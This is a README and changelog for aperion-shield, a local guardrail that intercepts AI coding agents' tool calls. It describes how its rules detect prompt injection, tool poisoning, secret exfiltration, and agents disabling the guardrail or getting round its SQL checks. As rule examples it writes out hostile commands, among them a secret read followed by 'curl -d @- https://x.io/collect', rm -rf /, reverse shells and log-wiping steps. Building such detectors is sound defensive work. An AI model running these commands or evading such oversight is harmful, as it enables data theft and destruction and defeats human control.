Aperion Shield

aperion-shield — local MCP guardrail for AI coding agents

Works with:

⭐ Star this repo if you think AI agents shouldn't touch prod unsupervised

aperion-shield is the free reference implementation of consequence-level control for AI coding agents — the layer that stops a destructive tools/call before it lands, not a log you read after the damage is done. It's transparent insurance: you don't notice it until the day it saves you.

If that's a problem you take seriously, a ⭐ is the fastest way to help other engineers in regulated and high-stakes shops find it before they need it → Star aperion-shield on GitHub

aperion-shield is a tiny, local MCP guardrail that sits between your AI coding agent (Cursor, Claude Code, …) and the real MCP servers your agent talks to (postgres, github, shell, filesystem, …) — local stdio servers and, since v0.9, remote Streamable HTTP ones. On every tools/call it evaluates 65+ adaptive safety rules (plus an optional 40-rule community pack) across destructive surfaces — SQL, git, filesystem, secrets exfiltration, supply-chain RCE, reverse shells, sudo / privilege escalation, cloud (AWS/GCP/Azure), Kubernetes, Docker, IAM / cloud privilege escalation, anti-forensics (audit & log tampering), NoSQL / cache / search (Mongo, Redis, Elasticsearch, Cassandra), disabling host security controls, and Windows / PowerShell — and either blocks the call, prompts you for approval, or lets it through with a warning banner. And since v0.9 it watches the other direction too: tool catalogs are TOFU-pinned against rug pulls, descriptions are scanned for tool poisoning, and tool results are scanned for prompt injection. v1.0 completes the story before install and below the protocol: --scan audits an MCP server before you ever wire it in, and --sandbox confines the server process at the OS level. And since v1.4, reversible secret cloaking lets your agent reference a real credential as a {{cloak:NAME}} placeholder — the secret is substituted in only on the frame Shield forwards upstream and scrubbed back out of any result, so it never enters the model's context, transcript, or prompt cache. v1.5 adds the seam the August 2026 market actually demos: native Cursor / Claude Code PreToolUse hooks (fail-closed), --scan-ide for TrustFall project MCP + Skills, and curl -fsSL https://shield-get.aperion.ai | sh.

Plus, when you need to prove who approved a destructive call — not just that someone did — Shield can gate selected rules behind biometric identity verification (ID.me, or a pluggable OIDC provider). And when you outgrow the single-machine model, the same binary enrolls into a Smartflow control plane with one command to pull org-wide policy, ship audit upstream, and use your existing IdP as the relying party — no rewrite, no re-install.

What's new in v1.20

v1.8 and v1.9 ship together as shield-v1.20.0. Same ask on every host we install hooks for: Claude Code and Gemini get permissionDecision: ask on PreToolUse. Cursor, Codex, and Copilot get permission: ask on beforeShellExecution and beforeMCPExecution, which is the event those hosts actually prompt on. A rule written as Critical (rm -rf /, a reverse shell, an agent editing Shield) is still a hard deny.

curl -fsSL https://shield-get.aperion.ai | sh
aperion-shield --install-agent-hooks
aperion-shield --install-guard

What's new in v1.9

A watcher that sits next to the hooks, not in front of them.

1. --guard. Polls your hook configs, MCP configs, and agent rules files (AGENTS.md, CLAUDE.md, .cursorrules, .cursor/rules). When one changes it runs the IDE scan again. If an agent deleted Shield's hook entry, the entry is put back. A desktop notification is the alert. No root.
2. --install-guard / --uninstall-guard. Writes a user launchd agent on macOS or a systemd --user unit on Linux and loads it. --guard-once is a single pass.
3. --scan-ide covers rules files and extensions. Hidden Unicode and injected instructions in rules files. Cursor and VS Code extensions: missing publisher, a name sitting next to a known extension, and anything installed in the last 14 days.

aperion-shield --install-agent-hooks
aperion-shield --install-guard

A credential read followed by curl is an ask, the same allow/deny card Cursor already shows for a git push. rm -rf /, a reverse shell, and an agent editing Shield's own hooks stay a hard deny.

What's new in v1.8

Shield already stopped a bad tool call before it ran. It did not watch what the agent had just read, so "read .env, then curl it somewhere" got through whenever the two steps were separate. v1.8 closes that on the machine you already installed, with no cloud and no model in the loop.

1. Post-tool hook. --install-agent-hooks now also registers Claude/Gemini PostToolUse and Cursor afterShellExecution, afterMCPExecution, and postToolUse (Codex and Copilot get postToolUse). The new --check-hook-post scans that output with the existing tool_result injection rules, tags any credential shape into the taint ledger, and writes a short-lived session flag. Claude can deny and hand the reason back to the model. Cursor's post events cannot deny, so the flag is what the next pre-call acts on. Cursor beforeReadFile is wired too: that event already has the file body and can deny before the model sees it.

2. Read-then-send. egress.after_secret_read asks (the IDE allow/deny card) before a network send (curl -d/-F/-T, wget --post-file, nc, socat, remote scp/rsync, git push of a URL, an inline HTTP POST, DNS via $(...)) when this session already read a credential or the taint ledger matches. egress.after_injection asks when the session saw injected tool output. egress.unlisted_host warns on any other send. policy.egress.allow_hosts (or APERION_SHIELD_EGRESS_ALLOW) quiets the warn for known hosts. It does not quiet the two escalations.

3. Wider credential reads. Browser cookie and login stores, macOS keychain dumps, op read / gh auth token, and dev configs (.npmrc, .pypirc, .netrc, docker, kube, gcloud, wallet paths).

4. The agent cannot turn Shield off. shield.self_tamper blocks an agent write or shell call that touches hook configs, ~/.aperion-shield/, SHIELD_HOOKS_DISABLE, SHIELD_SHIMS_DISABLE, or an uninstall flag. It is where: agent_hook, so it does not fire from your own terminal or the shell shims. aperion-shield --summarize still runs.

aperion-shield --install-agent-hooks
# agent: Read .env
# agent: curl -d @- https://x.io/collect   -> ask, egress.after_secret_read

What's new in v1.7

One cost feature, on the security seam Shield already owns. Most of a coding agent's frontier-model bill is loading files, not thinking about them. v1.7 refuses the load and hands the file to a cheap model instead.

1. I/O offload gate. Set policy.io_offload.min_lines: 350 in your shieldset (or APERION_SHIELD_OFFLOAD_MIN_LINES=350 on one machine) and the PreToolUse hook denies a full Read, cat, less, or head -n 900 of any file over that many lines (rule io.offload_large_read). Targeted reads (offset/limit), pipes, redirects, head/tail with a small -n, binaries, and missing files pass. Off by default: nothing changes for existing installs until you set it.

2. --summarize. What the deny message points the agent at. Reads the file(s) locally, posts them with a question to your Smartflow's /api/offload/summarize, and prints bullets with path:line citations from the efficient model. The expensive model sees a dozen lines instead of a few thousand. Gateway comes from --offload-url / --offload-key, APERION_SHIELD_OFFLOAD_URL / _KEY, or the org-mode enrollment. The saving shows up in FinOps under io_offload.

export APERION_SHIELD_OFFLOAD_MIN_LINES=350
# agent tries: Read src/proxy_handler.rs  (13,000 lines)  -> denied, told to run:
aperion-shield --summarize src/proxy_handler.rs --question "where is vkey auth enforced?"

The gate is the hook you already installed and the summarizer is your own governed gateway. Nothing leaves your Smartflow.

What's new in v1.6

v1.5 covered the IDE hook seam and curl | sh. v1.6 fills the leftover holes from that pass:

1. Linux Landlock sandbox. --sandbox secrets / --sandbox strict now confine the stdio upstream on Linux the way Seatbelt already does on macOS. strict without --sandbox-allow-network refuses to start if the kernel cannot deny TCP. Helper flag --internal-sandbox-exec is not user-facing.
2. Windows PATH shims. --install-shims writes aws.cmd (and friends) so PATHEXT resolves them. Same fail-open / SHIELD_SHIMS_DISABLE=1 contract as the POSIX shims.
3. Codex / Gemini CLI / Copilot CLI hooks. --install-agent-hooks merges user-level config for those hosts too (Cursor dialect for Codex and Copilot, Claude dialect for Gemini).
4. TrustFall follow-through. Install prints project-level hook files it finds (and does not modify them). --scan-ide flags scan.ide.project_hooks.

What's new in v1.5

The August 2026 market moved the real attack surface off MCP wrappers. Agents run Bash, Write, and Read as native tools. Project mcp.json can auto-start on folder trust (TrustFall). Snyk Agent Scan walks the whole machine. v1.5 covers those three without a cloud account.

1. Native agent hooks. aperion-shield --install-agent-hooks writes fail-closed wrappers and merges user-level Claude Code PreToolUse (~/.claude/settings.json) and Cursor preToolUse (~/.cursor/hooks.json). --check-hook reads the host JSON on stdin and emits the matching deny dialect (they are not interchangeable). SHIELD_HOOKS_DISABLE=1 is the documented bypass. Project-level hook files are left alone on purpose — TrustFall is project-injected.

2. --scan-ide. Walks Cursor / Claude / Windsurf / Codex MCP configs under $HOME and the project root, plus SKILL.md trees. Flags unwrapped command-type servers, unpinned npx/uvx, and project-local configs. Skills run through the ATR skill_compromise rules. Nothing is executed. Exit 0/1/2 for CI.

3. curl | sh install. curl -fsSL https://shield-get.aperion.ai | sh (same pattern as Halo). Then --install-agent-hooks. Halo's installer now prints that two-liner after a successful Halo install — Shield is not silently bundled.

curl -fsSL https://shield-get.aperion.ai | sh
aperion-shield --install-agent-hooks
aperion-shield --scan-ide

What's new in v1.4

Reversible secret cloaking — register a secret once, then reference it in your agent's tool-call arguments as the placeholder {{cloak:NAME}}. Shield swaps in the real value only on the copy it forwards to the MCP server — so the actual secret never lands in the agent's context, the transcript, the model provider's logs, or any prompt cache. In the reverse direction, if a tool result echoes a registered secret back, Shield scrubs it to its placeholder before the agent (and the model) ever sees it.

This is the reversible complement to v1.3's taint tracking: taint is detect-and-escalate over one-way hashes; cloak is a local, reversible vault that transforms the wire at both proxy seams. Both stdio and Streamable-HTTP transports are covered, and the transform is a zero-copy fast path when no placeholder is present.

# Register a secret (value read from $SHIELD_CLOAK_VALUE or stdin, never argv):
SHIELD_CLOAK_VALUE='sk_live_…' aperion-shield --cloak-add stripe_key
aperion-shield --cloak-list                # names only, never values
aperion-shield --cloak-remove stripe_key

Your agent then sends Authorization: Bearer {{cloak:stripe_key}}; the upstream server receives the real key; the model context only ever holds the placeholder. The vault lives at ~/.aperion-shield/cloak-vault.json (mode 0600, protected by filesystem permissions — never logged, never included in audit events). New flags: --cloak-add NAME, --cloak-list, --cloak-remove NAME, --no-cloak.

What's new in v1.3

Cross-tool secret taint tracking — the first Shield capability that correlates activity across MCP servers and surfaces instead of judging each call in isolation. This closes the "confused deputy" gap (OWASP MCP Top 10 MCP09) that every point-in-time, single-server MCP guardrail — including Shield before v1.3 — structurally cannot see: a credential leaked by one (possibly compromised) tool being relayed into a different, individually-trusted tool's arguments. Unit 42 measured a 78.3% attack success rate for exactly this pattern once one server in a multi-server session is compromised.

How it works, without a new daemon:

1. Tag. When a credential-shaped value (AWS / GitHub / Slack / OpenAI / Anthropic / Google / Stripe tokens, JWTs, PEM private-key blocks, DB connection strings) appears in a tool result, Shield appends a SHA-256 hash of it — never the raw secret — to a shared, per-project ledger at .aperion-shield/taint.jsonl.
2. Check. Before an outgoing tool call is forwarded, Shield scans its arguments for those same shapes and looks each up in the ledger. A still-within-TTL hit means the secret is crossing a tool boundary — the call is escalated to at least Approval (never a silent Allow), with a reason citing the source tool/surface and how long ago it leaked.

Because every MCP server already runs as its own Shield process sharing the project's .aperion-shield/ directory, correlation across separate servers works out of the box — proven by an integration test that spawns two independent Shield binaries and shows a secret leaked by server A refusing a relay through server B. Git-hook (--check-staged) and shell- shim (--check-cmd) surfaces run the check side too, so a secret an MCP tool leaked is also caught being hard-coded into a commit or piped through a wrapped CLI.

New flags: --taint-ttl-secs N (default 600), --no-taint-tracking, --taint-list, --taint-flush. Never stores raw secrets; heuristic (hash-equality) correlation, not cryptographic taint propagation — see SECURITY.md for the honest limits. 365 tests passing (was 339) — +12 secret-shape / ledger unit tests, +3 engine escalation tests, +1 shim-pickup test, and +2 cross-process two-binary integration tests. See Cross-tool secret taint tracking.

What's new in v1.2.1

A hardening follow-up to v1.2's drift-check probe, prompted by external feedback questioning whether the probe itself could be spoofed. The probe's request id no longer carries a shield/drift-style prefix — that was a static, greppable marker a targeted adversary could pattern- match on in observed network traffic — and now uses a bare random UUID instead. The polling interval is also jittered +/-20% so the cadence isn't a clean periodic signal. Neither change claims to make the probe unspoofable against a sufficiently determined, targeted adversary doing statistical traffic analysis; see SECURITY.md §3 for the honest limits. 339 tests passing (was 336) — 3 new unit tests lock in the "no static marker" and jitter-bounds properties.

What's new in v1.2

Two additions sourced from a competitive review of Microsoft's agent-governance-toolkit, both extensions of an existing v1.0/v0.9 feature rather than new surface area:

1. Typosquat name-similarity in --scan. A new pass compares the target npm package name against a curated list of well-known MCP servers, flagging separator/case variants that are visually indistinguishable (mcp_shield vs. the real mcp-shield) and small edit-distance typos (homoglyph-style single-character swaps). Pure string comparison, no network — it's the one --scan pass that runs even under --scan-offline and survives a fetch failure, which matters because a genuinely typosquatted (often unpublished) package name is exactly the case where npm pack fails.
2. Continuous MCP catalog drift monitoring. TOFU pinning (v0.9) only re-checks the catalog on the next real tools/list — in a long-running agent session that can be hours away. Shield now proactively re-fingerprints the live catalog on a timer (--drift-check-interval-secs, default 300s; --no-drift-check to disable), using a Shield-initiated request the client never sees, and quarantines a rug-pulled tool the moment it's caught — without waiting for the host to refresh its own catalog.

336 tests passing (was 324 in v1.1) — +6 typosquat unit tests, +1 end-to-end drift-check integration test spawning the real binary against a mock MCP server that rug-pulls mid-session.

What's new in v1.1

Seventeen new runtime rules, growing the default shieldset from 51 to 68 rules across six new destructive surfaces. Every rule ships with an integration test and a safer_alternative, and all patterns are lookahead-free (validated by the same regex crate the proxy uses at runtime).

1. IAM / cloud privilege escalation. iam.cloud_grant_admin (granting AdministratorAccess / roles/owner), credential minting (create-access-key, login profiles), ~/.ssh/authorized_keys backdoors, and local sudo grants (usermod -aG sudo, /etc/sudoers appends).

2. Anti-forensics / audit & log tampering. Disabling or deleting the cloud audit trail (cloudtrail stop-logging, config-recorder, GCP log sinks), clearing system logs (rm -rf /var/log, journalctl --vacuum, wevtutil cl), and wiping shell history.

3. Disabling host security controls. Firewall / SELinux / SIP / Gatekeeper teardown (setenforce 0, ufw disable, iptables -F, csrutil disable, spctl --master-disable) and Microsoft Defender real-time monitoring.

4. NoSQL / cache / search. Unscoped Mongo dropDatabase / deleteMany({}), Redis FLUSHALL/FLUSHDB, Elasticsearch DELETE /_all, and Cassandra DROP KEYSPACE.

5. Windows / PowerShell. Recursive force-delete / Format-Volume / reg delete HKLM, and win.fetch_pipe_iex — the Windows curl|sh (fetch piped into Invoke-Expression), tier Critical.

6. CI/CD & package publish. gh secret set, and package publishes (npm publish, cargo publish, twine upload).

324 tests passing (was 307 in v1.0) — +17 rule integration tests, one per new rule.

What's new in v1.0

The major release: coverage now spans the entire lifecycle of an MCP server — install-time audit, runtime enforcement, and OS-level process confinement, in one local binary with no cloud dependency.

1. --scan — pre-install audit. Audit a server before it is ever wired into your IDE: aperion-shield --scan <local-path | github-url | npm-package>. Four passes: static source signatures (credential reads, env exfiltration, dynamic exec, obfuscation, install hooks), typosquat name-similarity against well-known MCP servers, npm registry metadata + OSV.dev known vulnerabilities, and an opt-in live catalog audit that launches the server sandboxed, pulls tools/list, and runs the tool-poisoning rules over the catalog without it ever reaching an agent. Exit codes 0/1/2 for CI gates. See Pre-install audit.

2. --sandbox — upstream process confinement. Shield spawns the upstream server, so it now confines it at the OS level (macOS Seatbelt; no daemon, no privileges): secrets denies reads/writes of credential material (~/.ssh, ~/.aws, ~/.gnupg, kube/gcloud/azure configs, …), strict adds deny-by-default writes and no network unless granted. Protocol filtering and process confinement become layered defenses. See Sandboxing the upstream.

3. ATR community rule pack. A curated, machine-translated subset of the MIT-licensed Agent Threat Rules corpus ships as an optional pack: 40 rules / 270 patterns, loaded with --rules-extra config/shieldset-atr.yaml. All 443 of the upstream corpus's own true-positive/true-negative cases pass through Shield's engine as labelled. Defaults are untouched. See Rule packs.

4. 307 tests passing (was 280 in v0.9) — +27 new: ATR pack parse/merge/policy-isolation plus the 443-case corpus run, live Seatbelt integration tests (real processes under the rendered profiles: ssh-key reads denied, exemptions, write confinement, socket blocking), scan unit + integration tests (malicious fixture verdicts, benign controls, live poisoned-catalog audit).

What's new in v0.9

The "any-transport" release — plus a defense nobody else does locally: protection against the MCP server attacking the agent.

1. Streamable HTTP transport, both directions — closes the remote-server bypass. Until v0.8 Shield only guarded stdio MCP servers, so an agent configured with a hosted/remote MCP server bypassed Shield entirely. v0.9 closes that seam:

   • --upstream-url https://host/mcp puts Shield in front of a remote Streamable HTTP MCP server: every JSON-RPC message is relayed over POST, JSON and SSE response bodies are parsed and relayed with bounded-channel backpressure (a slow IDE suspends the SSE socket via TCP — no unbounded buffering), Mcp-Session-Id is captured on initialize and echoed on every later request, and a long-lived GET stream picks up server-initiated messages when the server offers one. --upstream-header 'Authorization: Bearer …' for authenticated servers.
   • --http-listen 127.0.0.1:8848 makes Shield itself listen as a hyper-1.x Streamable HTTP MCP server (JSON-RPC over POST, GET SSE stream for server-initiated traffic), so hosts that don't speak stdio still get the full gate. Any combination works: stdio↔stdio, stdio↔HTTP, HTTP↔stdio, HTTP↔HTTP.

   # Guard a remote MCP server (the previously-unprotected case):
   aperion-shield --upstream-url https://mcp.example.com/mcp \
       --upstream-header 'Authorization: Bearer sk-…'
   

2. MCP supply-chain protection — tool poisoning & rug-pull defense. Everything Shield did through v0.8 inspected what the agent sends. v0.9 inspects what the server sends back:

   • TOFU catalog pinning. On first contact with an upstream, every tool's (name, description, input schema) is hashed and pinned to ~/.aperion-shield/pins/. If a pinned tool's definition later changes — the classic rug pull, where a server ships a benign description at review time and swaps it after you've trusted it — the tool is stripped from the catalog your IDE sees and quarantined, so direct tools/call against it fails too. Review the change, then accept it explicitly with aperion-shield --repin. Policy-controlled (policy.supply_chain: on_changed_tool, on_new_tool, pinning), CLI-overridable (--no-pin).
   • Continuous drift monitoring (v1.2). Reactive pinning only re-checks the catalog on the next real tools/list — in a long-running agent session that can be hours away. Shield now proactively re-fingerprints the live catalog on a timer (, default 300s) using a Shield-initiated the client never sees, running it through the exact same pinning + tool-poisoning checks. A mid-session rug pull gets caught — and the tool quarantined — without waiting for the host to refresh its own catalog. Disable with ; it only runs once pinning itself has established a baseline, so it can never race the very first real . The probe's request id is a bare random UUID (no /-style marker) and its cadence is jittered ±20%, so a malicious upstream has no cheap, static signature to special-case against — see for the honest limits of this control.

What's new in v0.8

Two strong additions that build directly on the v0.7 bypass-closing story:

1. Shell shims (--install-shims) — closes the non-git command bypass. v0.7 closed the "agent reaches around MCP and lets a destructive change land in a commit" bypass with git hooks. v0.8 closes the parallel "agent reaches around MCP and runs a destructive shell command directly" bypass. One command installs tiny /bin/sh wrappers in ~/.aperion-shield/bin/ for 10 high-blast-radius CLIs (aws, gcloud, az, kubectl, helm, terraform, psql, mongosh, redis-cli, rm). The user puts that dir first on $PATH and every invocation routes through the active shieldset before reaching the real binary. Same engine, same YAML rules, same audit JSONL stream — the shim path reuses the shell tool-call scope that MCP and --check-staged already use, so adding a rule for one surface covers all three.

   aperion-shield --install-shims --for aws,kubectl,terraform
   # next destructive call -> refused with rule + safer alternative
   #   $ aws s3 rm --recursive s3://prod-bucket
   #   [aperion-shield/check-cmd] APPROVAL-REQUIRED -- `aws s3 rm --recursive s3://prod-bucket`
   #     rule    : cloud.aws_s3_recursive_delete  (severity=High)
   #     reason  : Bulk S3 delete -- irreversible if versioning is off.
   #     suggest : Enable versioning, then use lifecycle rules to expire ...
   

   Bypass for a single invocation: SHIELD_SHIMS_DISABLE=1 aws ... (env override, parity with --no-verify for hooks). Foreign-file collisions (you wrote your own ~/.aperion-shield/bin/aws wrapper) are NEVER overwritten — Shield refuses the install with a non-zero exit and tells you what to do.

2. --explain: first-class decision transparency. Take any tool-call descriptor and get a complete decision walkthrough: every rule that matched, every adjustment signal applied (workspace probe, decision memory, burst detector), the full severity ladder (raw → composite + points → final), the resolved decision, and the safer_alternative. Three output formats — text for terminals, markdown for PR review comments, json with a stable schema for piping into other tooling. The --explain-force-prod / --explain-force-burst flags let you answer "what would this same call decide in a different context?" without rebuilding the environment.

   echo '{"name":"shell","arguments":{"command":"rm -rf /"}}' \
       | aperion-shield --explain --input -
   # ----------------------------------------------------------
   # shield --explain
   # ────────────────
   # tool   : shell
   # call   : {"command":"rm -rf /"}
   #
   # rules matched ............................. 1
   #   fs.recursive_delete_root         Critical   pts=8
   # ...
   # decision .................................. BLOCK
   #   rule_id  : fs.recursive_delete_root
   #   severity : Critical
   #   reason   : rm -rf on filesystem root is forbidden.
   #   suggest  : Scope to a specific subdirectory, ...
   

The v0.8 heads-up, resolved: the HTTP/SSE MCP transport promised here shipped as the v0.9 headline — see "What's new in v0.9" above.

What's new in v0.7

Two big additions and a breadth bump:

1. Git hooks (--install-hooks). Closes the most-asked-about bypass: "what if the agent skips MCP and just commits a destructive migration / shell script?" One command writes a pre-commit and pre-push hook into your repo. The pre-commit hook scans staged .sql / .sh / Dockerfile / Makefile / code lines and refuses the commit if any line trips a Block rule, with file:line attribution and a safer_alternative hint. The pre-push hook refuses force-pushes and branch-deletions targeting protected branches (main, master, prod, release/*, env-overridable). Idempotent install, husky/lefthook-compatible coexistence (--chain-existing), --no-verify and SHIELD_HOOKS_DISABLE=1 bypasses documented in every refusal banner.

   cd your-repo
   aperion-shield --install-hooks
   # next destructive commit -> refused with rule + safer alternative
   

2. --suggest-rules: tune your shieldset from your own audit log. Point it at the JSONL audit Shield has been writing and it tells you which rules never fire, which are consistently demoted by the adaptive layer (the static severity is probably too high), and which are stuck in noisy-warn purgatory. Three output formats: text (the default), markdown (paste into a PR), and yaml-patch (splice-ready snippets for shieldset.yaml).

   # capture audit while you work
   aperion-shield -- npx @modelcontextprotocol/server-postgres ... \
       2>>~/.aperion-shield/audit.jsonl
   # later, ask for tuning suggestions
   aperion-shield --suggest-rules \
       --audit-log ~/.aperion-shield/audit.jsonl \
       --suggest-format yaml-patch
   

3. Four new IDEs supported as first-class quickstarts. Cursor and Claude Code were the launch surface in v0.5/0.6. v0.7 adds Cline, Continue, Windsurf, and Zed — same drop-in wrapping pattern, IDE-specific config paths in the quickstart section below.

4. 192 tests passing (was 133 in v0.5, 148 in v0.6) — +44 new tests covering the git-hooks integration end-to-end against real tempdir-backed git repos and synthetic-audit-log fixtures for the suggestion analyzer.

What's new in v0.6

• aperion-shield --diff mode (new): native Rust behavior-diff explainer for shieldset changes. Run the engine over the same corpus under two different shieldsets and get a per-rule attribution of which lines flipped. Drop-in CI gate (--fail-if-loosened, --fail-if-allows-loosened N) for PRs that touch your shieldset.yaml. Text / markdown / json output. See docs/shieldset-as-code.md Layer 4. This is the Rust port of scripts/shield-diff.py; the Python script is now a thin wrapper, so existing CI keeps working.
• Dependency upgrade closes 3 Dependabot advisories: reqwest 0.11 → 0.12, rustls 0.21 → 0.23, hyper 0.14 → 1.x, rustls-webpki 0.101.7 → 0.103.13. This closes the three open RUSTSEC advisories that surfaced against rustls-webpki 0.101.7 in v0.5.x. None were practically exploitable in Shield's configuration; the upgrade is hygiene. Full analysis in SECURITY.md §4. cargo audit clean against an empty ignore list.
• OIDC callback server refactored for the hyper 1.x API. The --identity-* family (ID.me partnership, gated identity verification rules) continues to work without any user-visible change. 7 end-to-end identity tests against a mock OIDC provider still pass post-refactor.
• Test count: 148 (was 133 in v0.5.0). The +15 is 4 new unit tests in src/diff/render.rs and 11 integration tests in tests/diff_integration.rs covering 6 fixture pairs in tests/diff/ (loosen / tighten / noop / added / removed / modified).

What's new in v0.5

• Identity gates (new): selected high-blast-radius rules can now require a cryptographically-fresh proof of human identity before the call is forwarded. Pluggable providers ship with a mock-friendly default; ID.me OIDC + an optional local callback server lands behind a feature flag. Ed25519 signatures on every proof; cache lives under ~/.aperion-shield/proofs/ (mode 0600). See Identity gates.
• Org mode (new, opt-in): aperion-shield --enroll --smartflow-url <URL> --token <ENROLL_TOKEN> enrolls this Shield against a Smartflow control plane. On enrollment the client persists an Ed25519 vkey, then every run pulls policy, streams audit, and lets your existing Smartflow IdP serve as the relying party for identity gates. The control-plane code path is inert until you enroll — out-of-the-box aperion-shield is standalone and offline. See Org mode.
• Tautological-WHERE detection in sql.unscoped_update (new): the rule now catches the agent's favourite work-around — "sure, I'll add a WHERE clause: WHERE email_verified = FALSE when I'm SET email_verified = TRUE" — which selects exactly the rows the SET would change. Six tautology patterns are detected (boolean opposites, IS NULL-vs-SET <value>, inequality-vs-equality, etc.). Genuine scope-narrowing (WHERE created_at > NOW() - INTERVAL '7 days') passes through.
• 0.5 is a strict superset of 0.3: every rule, decision, and corpus result below still holds; identity gates and org mode are additions, not replacements, and the v0.3 noise-floor work (below) carries forward.

v0.3 baseline (still in force in v0.5)

Wide-scale validation against 12,912 real Cursor agent commands (see docs/methodology.md for the reproducible methodology — corpus, exact command, raw counts, caveats) — run from a typical project root with no prod-signal files:

 12,708 (98.42%)   allow      <-- legitimate operations pass through
      3 (0.02%)   warn        <-- annotated, agent continues
    191 (1.48%)   approval    <-- pause for human signoff (writes to
                                    /etc, ~/.ssh, /usr/local/bin, etc.)
     10 (0.08%)   block       <-- hard stop (curl|bash, env->curl
                                    exfiltration, reverse-shell patterns)

The single number we publish is 98.4% pass-through — the sum of the allow and warn columns; the operational definition of "did not interrupt the developer." Any reader can reproduce this number on their own machine in under 60 seconds using the methodology doc linked above. We treat the false-positive rate as the product KPI and we publish it because a guardrail with a high false-positive rate gets disabled within a week.

That's a 94% reduction in approval-prompt noise vs v0.2 (which fired on 73% of commands). The fixes:

• Recognising ssh -i FILE, kubectl --kubeconfig FILE, KUBECONFIG=FILE, and 20+ similar tool-flag patterns as identity / config args -- not write targets.
• Gating the fs.sensitive_path_write_or_delete rule on an actual write verb being present in the same command (rm, mv, cp, dd, tee, chmod, chown, sed -i, tar -x, kubectl apply, >/>>, here-docs, ...). Pure reads (grep, cat, head, tail, ls, find -print, ...) no longer trigger.
• Narrowing /usr/** to the genuinely-sensitive subdirs (/usr/local/bin, /usr/local/sbin, /usr/local/lib, /usr/share/keyrings, /usr/lib/systemd).
• Treating 2>/dev/null, 1>/dev/null, &>/dev/null as discard idioms, not filesystem writes.
• Allowing curl URL | python -c CODE / python -m json.tool / perl -e CODE / node -e CODE -- when the interpreter takes its code from args, stdin is DATA, not code.

v0.2 added adaptive scoring — Shield doesn't just match regexes. It sums points across every rule that fires, bumps severity in prod-looking workspaces, remembers which decisions you've already approved or denied, and detects destructive bursts in real time. The result: fewer false-positive prompts on benign repeats, harder gates on the operations that matter, and a teach-as-you-go safer-alternative hint on every block.

It is free (binary-only, no source distributed) and standalone. No cloud account required. The binary is the same size as git and runs on macOS, Linux, and Windows.

The paid product, Aperion Smartflow, bundles Shield with a hosted approval queue, tamper-evident audit chain (RFC 3161 timestamps), AI-BOM, EU-AI-Act conformity console, and SOC 2 / HIPAA / GDPR connectors. The two products share the same rule language — a shieldset.yaml you write for one works in the other.

If you run a self-hosted agent on your own machine (OpenClaw, Hermes), Smartflow Halo is the local spend firewall for that box. It reuses Shield's MCP interception. Shield's terms are unchanged: still no cloud, no telemetry, no account.

⭐ Did the 98.4% pass-through number or the adaptive-scoring design land for you? Starring the repo is the single easiest way to signal that this approach is worth building on — and to help the next engineer find a guardrail before an agent finds their prod database → github.com/AperionAI/shield

Install

One-liner (macOS / Linux, arm64 + x64):

curl -fsSL https://shield-get.aperion.ai | sh
aperion-shield --install-agent-hooks

See docs/INSTALL.md if shield-get.aperion.ai is not resolving yet — the same script is on main as install.sh.

Homebrew (macOS / Linux)

brew install AperionAI/tap/aperion-shield

Docker

docker run --rm -i ghcr.io/aperionai/shield:latest --help

Cargo (any platform)

cargo install aperion-shield

Pre-built binaries

Download from GitHub Releases.

Quickstart

Add aperion-shield to your IDE's MCP config. Shield then transparently wraps your real MCP server.

Cursor (~/.cursor/mcp.json)

Before:

{
  "mcpServers": {
    "postgres": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-postgres", "postgres://..."]
    }
  }
}

After:

{
  "mcpServers": {
    "postgres": {
      "command": "aperion-shield",
      "args": [
        "--",
        "npx", "-y", "@modelcontextprotocol/server-postgres", "postgres://..."
      ]
    }
  }
}

That's it. Restart Cursor. Every execute_sql your agent issues now goes through Shield first.

Claude Code (~/.claude/config.json)

{
  "mcpServers": {
    "shell": {
      "command": "aperion-shield",
      "args": ["--", "claude-mcp-shell"]
    }
  }
}

Cline (workspace .vscode/cline_mcp_settings.json or ~/.cline/mcp_settings.json)

{
  "mcpServers": {
    "postgres": {
      "command": "aperion-shield",
      "args": [
        "--",
        "npx", "-y", "@modelcontextprotocol/server-postgres", "postgres://..."
      ]
    }
  }
}

After saving, ask Cline to "reload MCP servers" (or restart the VS Code window). Cline reuses the standard mcpServers JSON schema, so the wrap-with-aperion-shield pattern is identical to Cursor's.

Continue (~/.continue/config.json)

{
  "mcpServers": [
    {
      "name": "github",
      "command": "aperion-shield",
      "args": [
        "--",
        "npx", "-y", "@modelcontextprotocol/server-github"
      ]
    }
  ]
}

Continue uses an array of server objects (each with a name field) rather than the keyed map Cursor/Cline use, but the wrap-with-aperion-shield pattern is otherwise identical. Tested against Continue v0.9+.

Windsurf (~/.codeium/windsurf/mcp_config.json)

{
  "mcpServers": {
    "filesystem": {
      "command": "aperion-shield",
      "args": [
        "--",
        "npx", "-y", "@modelcontextprotocol/server-filesystem", "/path/to/workspace"
      ]
    }
  }
}

Windsurf reads the same mcpServers schema as Cursor/Cline, so the wrap-with-aperion-shield pattern is identical. Restart Windsurf after editing.

Zed (~/.config/zed/settings.json)

Zed calls these context_servers (not mcpServers):

{
  "context_servers": {
    "postgres": {
      "command": {
        "path": "aperion-shield",
        "args": [
          "--",
          "npx", "-y", "@modelcontextprotocol/server-postgres", "postgres://..."
        ]
      }
    }
  }
}

Note the nested command: { path, args } shape — Zed's settings schema splits the command path from its arguments. Reload Zed (Cmd-Q and reopen) for the new wrapping to take effect.

For the longer walk-through (combining multiple MCP servers under a single Shield, IDE-specific tips, troubleshooting), see docs.aperion.ai/aperion-shield.html.

Git hooks (new in v0.7)

aperion-shield --install-hooks writes pre-commit and pre-push hooks into your repo. The hooks call back into the binary with --check-staged / --check-pushed-refs and refuse commits / pushes that match destructive rules — closing the most-asked-about bypass ("what if the agent just commits the destructive thing directly?").

Install

cd your-repo
aperion-shield --install-hooks
# [shield] hooks dir: /path/to/your-repo/.git/hooks
# [shield] installed: pre-commit
# [shield] installed: pre-push

Idempotent — running it twice just refreshes the script body. If a non-Aperion hook is already present, the installer refuses (safe default). Pass --chain-existing to coexist with husky / pre-commit / lefthook installations: your old hook is moved to <hook>.aperion-backup and re-execed at the end of ours.

What pre-commit blocks

The pre-commit hook scans added or modified lines in staged files. Only file types that historically generate destructive ops are inspected (.sql, .sh, .bash, .zsh, Dockerfile, Makefile, plus general code via the llm_response scope) — we deliberately don't lint every README. Findings group by rule with file:line context:

[shield-check-staged] 1 finding(s) across 1 file(s):

  [Critical] sql.drop_database (1 match)
    why: DROP DATABASE is never auto-allowed.
